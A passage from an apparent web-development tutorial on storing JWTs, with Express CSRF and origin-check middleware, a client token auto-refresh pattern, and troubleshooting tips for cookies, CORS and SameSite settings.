// CSRF token verified automatically
res.send('Transfer successful');
});
// Provide CSRF token to frontend
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
3. Validate Origins
app.use((req, res, next) => {
const allowedOrigins = [process.env.FRONTEND_URL, 'http://localhost:3000'];
const origin = req.headers.origin;
// Only check non-GET requests
if (req.method !== 'GET' && !allowedOrigins.includes(origin)) {
return res.status(403).json({ error: 'Origin not allowed' });
}
next();
});
Automatic Token Refresh Pattern
Here’s a robust pattern for handling token expiration gracefully:
let accessToken = null;
let refreshTimer = null;
// Schedule automatic refresh before expiration
function scheduleTokenRefresh(expiresIn) {
clearTimeout(refreshTimer); // Clear any existing timer
const refreshTime = (expiresIn - 60) * 1000; // Refresh 1 min before expiry
refreshTimer = setTimeout(async () => {
await refreshAccessToken();
}, refreshTime);
}
// Refresh token function
async function refreshAccessToken() {
try {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include'
});
if (response.ok) {
const data = await response.json();
accessToken = data.accessToken;
scheduleTokenRefresh(data.expiresIn);
return accessToken;
} else {
// Refresh failed, redirect to login
window.location.href = '/login';
}
} catch (error) {
window.location.href = '/login';
}
}
// API wrapper with automatic retry on 401
async function apiCall(url, options = {}) {
const headers = {
...options.headers,
'Authorization': `Bearer ${accessToken}`
};
let response = await fetch(url, { ...options, headers });
// If unauthorized, try to refresh and retry once
if (response.status === 401) {
const newToken = await refreshAccessToken();
if (newToken) {
headers['Authorization'] = `Bearer ${newToken}`;
response = await fetch(url, { ...options, headers });
}
}
return response;
}
Troubleshooting Common Issues
Here are solutions to problems you’ll likely encounter:
Problem: Cookies not being sent with cross-origin requests
Symptoms: Authentication works on same domain but fails when frontend and backend are on different domains.
Solution:
// Backend: Configure CORS properly
const cors = require('cors');
app.use(cors({
origin: 'http://localhost:3000', // Your frontend URL
credentials: true // CRITICAL: Allow credentials
}));
// Frontend: Include credentials in fetch
fetch('/api/data', {
credentials: 'include' // CRITICAL: Send cookies
});
Problem: SameSite=None cookies not working
Symptoms: Cookies work in Chrome but not Safari, or work locally but not in production.
Solution: SameSite=None requires the Secure flag (HTTPS):
res.cookie('token', jwt, {
httpOnly: true,
sameSite: 'none',
secure: true // MUST be HTTPS
});
Problem: Tokens not persisting across tabs with localStorage
Symptoms: User logs in on one tab, but other tabs don’t “know” they’re logged in.
Solution: Listen to storage events:
// Listen for changes to localStorage across tabs
window.addEventListener('storage', (e) => {
if (e.key === 'access_token') {
if (e.newValue) {
// Token added/updated, user logged in
updateUIForLoggedInUser();
} else {
// Token removed, user logged out
window.location.href = '/login';
}
}
});
Problem: “Invalid token” errors after deployment
Symptoms: Tokens that worked in development fail in production.
Common causes:
- Different JWT_SECRET between dev and prod - Make sure your environment variables are set correctly
- Clock skew - Server time is different from token timestamps
- Token signing algorithm mismatch - Dev uses HS256, prod uses RS256
Solution: Check your environment variables and logging:
jwt.verify(token, JWT_SECRET, (err, decoded) => {
if (err) {
console.error('JWT verification failed:', err.message);
// Check: TokenExpiredError, JsonWebTokenError, NotBeforeError
}
});
Conclusion and Next Steps
You’ve made it through the complete guide to JWT storage! Let’s recap the key takeaways:
The Security Tradeoff
- HTTP-only cookies protect against XSS token theft but require CSRF protection
- LocalStorage is immune to CSRF but vulnerable to XSS token theft
- The hybrid approach (access tokens in memory + refresh tokens in cookies) offers the best security
Making Your Decision
For most applications, I recommend:
- High-security apps (financial, healthcare): HTTP-only cookies or hybrid approach
- Modern SPAs with strong XSS prevention: LocalStorage is acceptable
- Cross-origin complexity: LocalStorage might save you headaches
- Maximum security: Hybrid approach with short-lived in-memory tokens
Essential Security Practices
No matter what you choose:
- ✅ Always use HTTPS in production
- ✅ Implement Content Security Policy
- ✅ Keep tokens short-lived (15-30 minutes)
- ✅ Use refresh tokens for better UX
- ✅ Sanitize all user input
- ✅ Monitor for suspicious authentication patterns
- ✅ Regularly audit and update dependencies
What’s Next?
Consider implementing these advanced features:
- Token rotation - Issue new refresh tokens with each use
- Device fingerprinting - Detect suspicious logins from new devices
- Rate limiting - Prevent brute force attacks on login endpoints
- Multi-factor authentication - Add an extra security layer
- Session management dashboard - Let users see and revoke active sessions
Final Thoughts
There’s no universally “correct” answer to JWT storage—it depends on your specific threat model, architecture, and resources. The important thing is understanding the tradeoffs so you can make an informed decision.
Remember: Security is not a checkbox, it’s a process. Stay informed about new vulnerabilities, keep your dependencies updated, and always think like an attacker trying to break into your own system.
Good luck building secure applications! 🔐